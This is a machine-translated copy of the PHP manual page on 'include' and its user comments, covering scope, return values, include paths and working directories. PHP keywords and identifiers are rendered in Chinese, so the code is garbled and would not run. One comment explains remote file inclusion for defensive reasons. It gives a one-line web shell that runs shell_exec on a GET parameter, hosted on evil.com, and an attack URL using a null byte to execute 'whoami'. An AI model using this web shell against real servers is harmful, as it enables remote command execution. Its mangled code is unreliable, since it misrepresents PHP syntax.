这可能有用:
<? php(电话)
包括 $_服务器 [ 'DOCUMENT_ROOT' ]. “/lib/sample.lib.php” ;
?>
因此,您可以将脚本移动到web项目树中的任何位置,而无需更改。
变量.php
<? php(电话)
$颜色 = “绿色” ;
$水果 = “苹果” ;
?>
测试.php
<? php(电话)
回声 “A $颜色 $水果 " ; //A类
包括 'vars.php' ;
回声 “A $颜色 $水果 " ; //一个绿色的苹果
?>
<? php(电话)
功能 foo公司 ()
{
全球的 $颜色 ;
包括 '变量.php' ;
回声 “A $颜色 $水果 " ;
}
/*vars.php在foo()范围内,因此*
*$fruit在此之外不可用*
*范围$ 颜色是因为我们声明了它*
*全球范围内*/
foo公司 (); //一个绿色的苹果
回声 “A $颜色 $水果 " ; //A绿色
?>
<? php(电话)
/*本例假设www.example.com配置为parse.php
*文件而不是.txt文件。 此外,这里的“Works”意味着变量
*$foo和$bar在包含的文件中可用*/
//行不通; www.example.com未将file.txt作为PHP处理
包括 ' http://www.example.com/file.txt?foo=1&bar=2 ' ;
//行不通; 查找名为“file.php”的文件? foo=1&bar=2'
//本地文件系统。
包括 '文件.php? foo=1&bar=2' ;
//工程。
包括 ' http://www.example.com/file.php?foo=1&bar=2 ' ;
?>
<? php(电话)
//不起作用,评估为include(('vars.php')==TRUE),即include-('1')
if(包括( '变量.php' ) == 真的 ) {
回声 “确定” ;
}
//工程
如果(包括 '变量.php' ) == 真的 ) {
回声 “确定” ;
}
?>
返回.php
<? php(电话)
$变量 = “PHP” ;
返回 $变量 ;
?>
noreturn.php型
<? php(电话)
$变量 = “PHP” ;
?>
测试返回s.php
<? php(电话)
$foo美元 =包括 '返回.php' ;
回声 $foo美元 ; //打印“PHP”
$巴 =包括 'noreturn.php' ;
回声 $巴 ; //打印1
?>
<? php(电话)
$string($string) = 获取包含内容 ( “somefile.php” );
功能 获取包含内容 ( $文件名 ) {
如果( 是文件(_F) ( $文件名 )) {
对象启动(_S) ();
包括 $文件名 ;
返回 对象获取清理 ();
}
返回 假 ;
}
?>
这可能有用:
<? php(电话)
包括 $_服务器 [ 'DOCUMENT_ROOT' ]. “/lib/sample.lib.php” ;
?>
因此,您可以将脚本移动到web项目树中的任何位置,而无需更改。
如果您想要包含文件,但不想从客户端直接访问这些文件,请不要这样做,因为您热爱键盘:
<? php(电话)
#索引.php
定义 ( “什么” , “永远” );
包括 '包含文件.php' ;
#包括文件.php
//检查是否定义了什么,如果没有定义则终止
?>
你不应该这样做的原因是有更好的选择。 将includeFile移出项目的文档根目录。 因此,如果项目的文档根位于“/usr/share/nginx/html”,请将包含文件保存在“/usr/share/nginx/src”中。
<? php(电话)
#index.php(在文档根目录(/usr/share/nginx/html)中)
包括 __总监__ . '/../ src/includeFile.php' ;
?>
由于用户无法键入'your.site// src/includeFile.php',用户将无法直接访问您的include文件。
在使用php的include、require、include_once或require_once语句之前,您应该了解更多有关本地文件包含(也称为LFI)和远程文件包含(也称为RFI)的信息。
正如示例#3所指出的,可以包含来自远程服务器的php文件。
在include语句中使用输入变量而没有进行正确的输入验证时,会出现LFI和RFI漏洞。 假设您有一个带代码的example.php:
<? php(电话)
//错误的代码
$path(路径) = $_GET(获取) [ “路径” ];
包括 $路径 . '示例配置文件.php' ;
?>
作为程序员,您可能希望用户浏览到您指定的路径。
然而,它打开了一个RFI漏洞。 为了将其作为攻击者进行攻击,我首先会在我的evil.com域上设置一个带有php代码的恶意文本文件。
eviv.txt文件
<? php(电话) 回声 外壳执行(_E) ( $_GET(获取) [ '命令' ]); ?>
它是一个文本文件,因此不会在我的服务器上处理,而是在目标/受害者服务器上处理。 我会浏览到:
h t t p://w w w.example.com/example.php? command=whoami&path=h t p://w w w w.evily.com/evily.txt%00
example.php将下载我的evil.txt并处理我作为命令变量传入的操作系统命令。 在这种情况下,是哇。 我用%00结束了路径变量,它是空字符。 example.php中的原始include语句将忽略该行的其余部分。 它应该告诉我web服务器是以谁的身份运行的。
如果在include语句中使用变量,请使用正确的输入验证。
当使用文件名直接包含文件而不指定时,我们指的是当前工作目录,即使用(包含“文件”)而不是(包含“./file”)。 PHP将首先在当前工作目录中搜索(由getcwd()给定),然后在正在执行的脚本的目录中搜索它(由__dir__给定)。
这是一个示例来演示这种情况:
我们有两种目录结构:
-目录1
----脚本.php
----测试
----目录_测试
-目录2
----测试
----目录2测试
dir1/test包含以下文本:
这是dir1中的测试
dir2/test包含以下文本:
这是dir2中的测试
dir1_test包含以下文本:
这是dir1_test
dir2_test包含以下文本:
这是dir2_test
script.php包含以下代码:
<? php(电话)
回声 '当前调用脚本的目录:' . __总监__ ;
回声 “<br/>” ;
回声 '当前工作目录:' . 获取cwd ();
回声 “<br/>” ;
回声 '包括“测试”…' ;
回声 “<br/>” ;
包括 “测试” ;
回声 “<br/>” ;
回声 '正在将当前工作目录更改为dir2' ;
chdir公司 ( '../ 目录2' );
回声 “<br/>” ;
回声 '当前调用脚本的目录:' . __总监__ ;
回声 “<br/>” ;
回声 '当前工作目录:' . 获取cwd ();
回声 “<br/>” ;
回声 '包括“测试”…' ;
回声 “<br/>” ;
包括 “测试” ;
回声 “<br/>” ;
回声 '包括“dir2_test”…' ;
回声 “<br/>” ;
包括 '目录测试' ;
回声 “<br/>” ;
回声 '包括“dir1_test”…' ;
回声 “<br/>” ;
包括 '目录_测试' ;
回声 “<br/>” ;
回声 '包括“./dir1_test”…' ;
回声 “<br/>” ;
(@包含 './ 目录_测试' )否则就会死( '无法包含此文件' );
?>
执行script.php的输出是:
当前调用脚本的目录:C:\dev\www\php_terials\working_Directory\example2\dir1
当前工作目录:C:\dev\www\php_terials\working_directory\example2\dir1
包括“测试”。。。
这是dir1中的测试
将当前工作目录更改为dir2
当前调用脚本的目录:C:\dev\www\php_terials\working_Directory\example2\dir1
当前工作目录:C:\dev\www\php_experiments\working_directory\example2\dir2
包括“测试”。。。
这是dir2中的测试
包括“dir2_test”。。。
这是dir2_test
包括“dir1_test”。。。
这是dir1_test
包括“./dir1_test”。。。
无法包含此文件
理想情况下,include应该放在web根目录之外。 这通常是不可能的,尤其是在分发打包的应用程序时,如果您不知道应用程序将在哪个服务器环境中运行。在这些情况下,我使用以下内容作为第一行。
(__FILE__!=$_SERVER['SCRIPT_FILENAME'])或退出('否');
如果您正在进行大量的动态/计算包含(例如,>100),那么您可能很想知道这个性能比较:如果目标文件不存在,那么@include()比以file_exists()为前缀慢十倍。 (如果文件只是偶尔存在,这一点很重要,例如,开发环境有文件,而生产环境没有文件。)
韦德。
关于懒惰HTTP的警告包括:它们可能会破坏服务器。
如果您要从自己的站点中包含文件,请不要使用URL,无论它多么容易或诱人。如果您的所有PHP进程都与发出请求的页面绑定,则没有可用的进程来提供包含服务。 最初的请求将占用您的所有资源,并最终超时。
尽可能使用文件引用。 在我追踪问题之前,这给我们带来了相当大的悲伤(Zend/IIS)。
值得注意的是,PHP提供了一个支持OS的常量,名为DIRECTORY_SEPARATOR。 如果在目录路径中使用斜杠而不是斜杠,那么无论使用*NIX还是(颤抖)Windows,脚本都是正确的。 (以半相关的方式,有一个智能终端字符PHP_EOL)
例子:
<? php(电话)
$cfg_path
= “包含”
. 目录分隔符
. '配置.php'
;
要求一次(_O)( $cfg_path );
根据经验,永远不要使用相对路径包含文件。 要有效地实现这一点,可以按如下方式定义常量:
----
<? php(电话) //prepend.php-在树的顶部自动重复
定义 ( “主人” , 目录名 ( __文件__ ) . '/' );
定义 ( “DL_DIR” , MAINDIR公司 . '下载/' );
定义 ( “LIB_DIR” , MAINDIR公司 . “库/” );
?>
----
这样,框架中的文件只需发出如下语句:
<? php(电话)
要求一次(_O)( LIB_DIR(伦敦银行同业拆借利率) . “excel_functions.php” );
?>
这也使您无需在每次执行包含操作时检查包含路径。
如果您从主web目录下运行脚本,请在每个子目录中放置一个prepend.php文件:
--
<? php(电话)
包括( 目录名 ( 目录名 ( __文件__ )) . '/prepend.php' );
?>
--
这样,顶部的prepend.php始终会被执行,并且您不会遇到路径处理方面的麻烦。 只需记住在.htaccess文件上为每个有web可访问脚本的子目录设置auto_prepend_file指令。
我想指出IIS/Windows和Apache/Unix在指定包含文件的路径时的行为差异(不确定是否存在其他差异,但我认为Windows下的任何服务器都将与IIS/Windows相同,Unix下的所有服务器的行为都将与Apache/Unix相同)。
考虑以下内容:
<? php(电话)
包括 “/Path/To/File.php” ;
?>
在IIS/Windows中,文件是在虚拟主机的根目录下查找的(我们称为C:\Server\Sites\MySite),因为路径以正斜杠开头。 这种行为在所有平台下的HTML中都有效,因为浏览器将/解释为服务器的根。
然而,Unix文件/文件夹结构略有不同。 /表示硬盘驱动器或当前硬盘驱动器分区的根目录。 换言之,它基本上会查找root:/Path/To/File.php,而不是serverRoot:/Path-To/File_php(我们将其称为/usr/var/www/htdocs)。 因此,将引发错误/警告,因为根路径中不存在该路径。
我只是想提一下。 对于那些在Windows下工作并将其应用程序传输到基于Unix的服务器的用户来说,这无疑会节省一些麻烦。
变通方案如下:
<? php(电话)
$documentRoot = 无效的 ;
如果(isset( $_服务器 [ '文档根' ])) {
$documentRoot = $_服务器 [ 'DOCUMENT_ROOT' ];
如果( 字符串查找 ( $documentRoot , '/' ) || 字符串查找 ( $documentRoot , '\\' )) {
如果( 字符串查找 ( $documentRoot , '/' )) {
$documentRoot = str_替换 ( '/' , 董事_合伙人 , $documentRoot );
}
埃尔塞夫( 字符串查找 ( $documentRoot , '\\' )) {
$documentRoot = str_替换 ( '\\' , 董事_合伙人 , $documentRoot($document根) );
}
}
如果( 预匹配(_M) ( '/[^\\/]{1}\\[^\\/]{1}/' , $documentRoot )) {
$documentRoot = preg_替换 ( '/([^\\/]{1})\\([^\\/]{1})/' , '\\1DIR_SEP\\2' , $documentRoot($document根) );
$documentRoot = str_替换 ( “DIR_SEP” , '\\\\' , $documentRoot );
}
}
其他{
/**
*我通常将此文件存储在我的根目录下的Includes文件夹中
*虚拟主机。 可以将其更改为存储此文件的任何位置。
*
*示例:
*如果将此文件存储在Application/Settings/DocRoot文件夹中
*根据您的站点,您可以更改此数组以包括以下各项
*文件夹。
*
*<代码>
*$directories=数组(
*“应用程序”,
*“设置”,
*'文档根'
* );
*</code>
*/
$个目录 =数组(
'包括'
);
如果( 定义 ( '__DIR__' )) {
$currentDirectory($current目录) = __总监__ ;
}
其他{
$currentDirectory($current目录) = 目录名 ( __文件__ );
}
$currentDirectory($current目录) = rtrim公司 ( $currentDirectory($current目录) , 董事_合伙人 );
$current目录 = $currentDirectory($current目录) . 董事_合伙人 ;
foreach公司( $个目录 作为 $目录 ) {
$currentDirectory($current目录) = str_位置 (
董事_合伙人 . $目录 . 董事_合伙人 ,
董事_合伙人 ,
$currentDirectory($current目录)
);
}
$currentDirectory($current目录) = rtrim公司 ( $currentDirectory($current目录) , 董事_合伙人 );
}
定义 ( '服务器_DOC_ROOT' , $documentRoot );
?>
使用此文件,可以使用定义的SERVER_DOC_ROOT常量包含文件,这样包含的每个文件都将从正确的位置包含,并且不会抛出错误/警告。
例子:
<? php(电话)
包括 服务器_DOC_ROOT . “/Path/To/File.php” ;
?>
它还可以包含或打开zip文件中的文件:
<? php(电话)
包括 “something.zip#script.php” ;
回声 文件获取内容 ( “something.zip#script.php” );
?>
请注意,不是使用/或\,而是使用#从zip文件中打开文件来分隔zip名称和内部文件的名称。